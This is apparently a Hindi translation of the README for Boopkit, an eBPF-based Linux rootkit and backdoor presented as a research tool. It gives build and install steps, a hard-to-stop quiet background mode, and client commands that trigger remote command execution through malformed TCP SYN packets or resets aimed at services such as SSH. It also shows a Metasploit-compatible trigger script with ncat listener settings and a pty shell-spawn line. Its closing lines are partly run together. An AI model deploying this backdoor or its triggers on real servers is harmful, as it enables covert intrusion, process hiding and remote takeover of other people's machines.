
लिनक्स eBPF बैकडोर TCP पर। पूर्व विशेषाधिकार प्राप्त पहुँच पर रिवर्स शेल, RCE उत्पन्न करें। Less Honkin, More Tonkin.
================================================================
██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗██╗████████╗
██╔══██╗██╔═══██╗██╔═══██╗██╔══██╗██║ ██╔╝██║╚══██╔══╝
██████╔╝██║ ██║██║ ██║██████╔╝█████╔╝ ██║ ██║
██╔══██╗██║ ██║██║ ██║██╔═══╝ ██╔═██╗ ██║ ██║
██████╔╝╚██████╔╝╚██████╔╝██║ ██║ ██╗██║ ██║
╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝
लेखक: Kris Nóva <[email protected]> संस्करण 1.4.0
किसी भी स्थिति में कॉपीराइट स्वामी या योगदानकर्ता किसी भी प्रत्यक्ष, अप्रत्यक्ष,
आकस्मिक, विशेष, अनुकरणीय या परिणामी क्षति के लिए उत्तरदायी नहीं होंगे।
उपकरणों का उपयोग कानून का उल्लंघन करने के लिए न करें।
लेखक किसी भी अवैध कार्रवाई के लिए जिम्मेदार नहीं है।
सॉफ्टवेयर, जानकारी या स्रोत कोड का दुरुपयोग
आपराधिक आरोपों का कारण बन सकता है।
अपने जोखिम पर उपयोग करें।
================================================================
Boopkit. Linux रूटकिट और बैकडोर। eBPF का उपयोग करके निर्मित।
उपयोग: boopkit [options]
विकल्प: -h, help boopkit के लिए सहायता और उपयोग प्रदर्शित करें। -i, interface इंटरफ़ेस का नाम। lo, eth0, wlan0, आदि -s, sudo-bypass sudo जाँच को बायपास करें। PID अस्पष्टीकरण को तोड़ता है। -r, reverse-conn यदि कोई पेलोड नहीं मिला तो रिवर्स RCE लुकअप का प्रयास करें। -q, quiet आउटपुट अक्षम करें। -x, reject ट्रिगर को अस्वीकार करने के लिए स्रोत पते।
Linux बैकडोर, रूटकिट और eBPF बाईपास उपकरण।
कच्चे TCP पर दूरस्थ कमांड निष्पादन।
- Linux कर्नेल 5.16 पर परीक्षण किया गया
- Linux कर्नेल 5.17 पर परीक्षण किया गया
- TCP पर दूरस्थ कोड निष्पादन (SSH, Nginx, Kubernetes, आदि)
- नेटवर्क गेटवे बाईपास (खराब चेकसम, TCP रीसेट)
- रनटाइम पर स्व-अस्पष्टीकरण (eBPF प्रक्रिया छिपाना)
##### अस्वीकरण
> यह **कोई** शोषण **नहीं** है! इसके लिए काम करने के लिए सर्वर पर पूर्व विशेषाधिकार प्राप्त पहुँच की आवश्यकता है!
> मैं एक पेशेवर सुरक्षा शोधकर्ता हूँ। ये केवल शोध उद्देश्यों के लिए उपयोग किए जाने वाले सफेद टोपी उपकरण हैं।
> इसका जिम्मेदारी से उपयोग करें। इस सॉफ्टवेयर का अवैध रूप से कभी उपयोग न करें।

## सर्वर पक्ष
Boopkit को डाउनलोड और बनाएँ।
```bash
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.3.0.tar.gz
tar -xzf v1.3.0.tar.gz
cd boopkit-1.3.0/
make
sudo make install
Boopkit को अग्रभूमि में चलाएँ।
# सभी बूप्स को लोकलहोस्ट और 10.0.0.1 पर अस्वीकार करें
boopkit -x 127.0.0.1 -x 10.0.0.1
Boopkit को पृष्ठभूमि में शांत मोड में चलाएँ।
# खतरा! इसे रोकना बहुत कठिन हो सकता है! इसे अपने जोखिम पर चलाएँ!
boopkit -q &
Boopkit अब चल रहा है और क्लाइंट boopkit-boop कमांड लाइन टूल का उपयोग करके इसका शोषण किया जा सकता है।
Boopkit को डाउनलोड और बनाएँ।
wget https://github.com/kris-nova/boopkit/archive/refs/tags/v1.2.0.tar.gz
tar -xzf v1.2.0.tar.gz
cd boopkit-1.2.0/
make
sudo make install
सर्वर के विरुद्ध boopkit-boop चलाएँ।
# ===================
RCE="ls -la"
# ===================
LHOST="127.0.0.1"
LPORT="3535"
RHOST="127.0.0.1"
RPORT="22"
boopkit-boop \
-lhost $LHOST \
-lport $LPORT \
-rhost $RHOST \
-rport $RPORT \
-c "$RCE"
Boopkit नेटवर्क पर विभिन्न घटनाओं पर प्रतिक्रिया देगा। इन दोनों को boopkit-boop टूल से ट्रिगर किया जा सकता है।
TCP हेडर प्रारूप। RFC 793 से लिया गया। सितंबर 1981
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
{ data }
{ .... }
{ data }
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
पहले boopkit-boop टूल सर्वर को SOCK_RAW सॉकेट पर खाली चेकसम के साथ एक दोषपूर्ण TCP SYN पैकेट भेजेगा। यह चल रही TCP सेवाओं की परवाह किए बिना दूरस्थ रूप से boopkit को ट्रिगर करेगा। यह किसी भी Linux सर्वर पर काम करता है जो boopkit चला रहा है, भले ही TCP सेवाओं की स्थिति कुछ भी हो।
केवल इस पहले वेक्टर का उपयोग करने के लिए boopkit-boop के साथ -p का उपयोग करें।
⚠️ कुछ आधुनिक नेटवर्क हार्डवेयर इस वेक्टर का उपयोग करके boopkit का शोषण करने के लिए आवश्यक सभी दोषपूर्ण चेकसम पैकेट को गिरा देगा!
इसके बाद boopkit-boop टूल एक दूरस्थ TCP सेवा जैसे SSH, Kubernetes, Nginx, आदि के विरुद्ध SOCK_STREAM सॉकेट के साथ एक वैध TCP हैंडशेक पूरा करेगा। प्रारंभिक TCP हैंडशेक पूरा होने के बाद, boopkit-boop प्रक्रिया को दूसरी बार दोहराएगा।
दूसरा हैंडशेक पैकेट में TCP रीसेट फ्लैग को फ्लिप करेगा, जिससे सर्वर पर TCP रीसेट ट्रिगर होगा।
ये दोनों रणनीति स्वतंत्र रूप से boopkit को ट्रिगर करने के लिए पर्याप्त हैं। विभिन्न नेटवर्क हार्डवेयर और रनटाइम स्थितियाँ प्रत्येक रणनीति को अधिक व्यवहार्य बनाएँगी। Boopkit दोनों का प्रयास करेगा, और डिफ़ॉल्ट रूप से दोनों पर प्रतिक्रिया देगा।
boopscript फ़ाइल एक Metasploit संगत स्क्रिप्ट है जिसका उपयोग boopkit-boop को दूरस्थ Linux मशीन पर स्थापित करने के बाद boopkit बैकडोर को दूरस्थ रूप से ट्रिगर करने के लिए किया जा सकता है।
# boopscript
RHOST="127.0.0.1"
RPORT="22"
LHOST="127.0.0.1"
LPORT="3535"
NCAT="/usr/bin/ncat"
NCATLISTENPORT="3545"
libbpf के लिए आवश्यकlibxdp के लिए आवश्यकpython -c "import pty; pty.spawn('/bin/bash')"
मूल लेखकों को उनके सहायक कोड नमूनों के लिए श्रेय! मैंने इस परियोजना के लिए बहुत सारा कोड फोर्क किया है!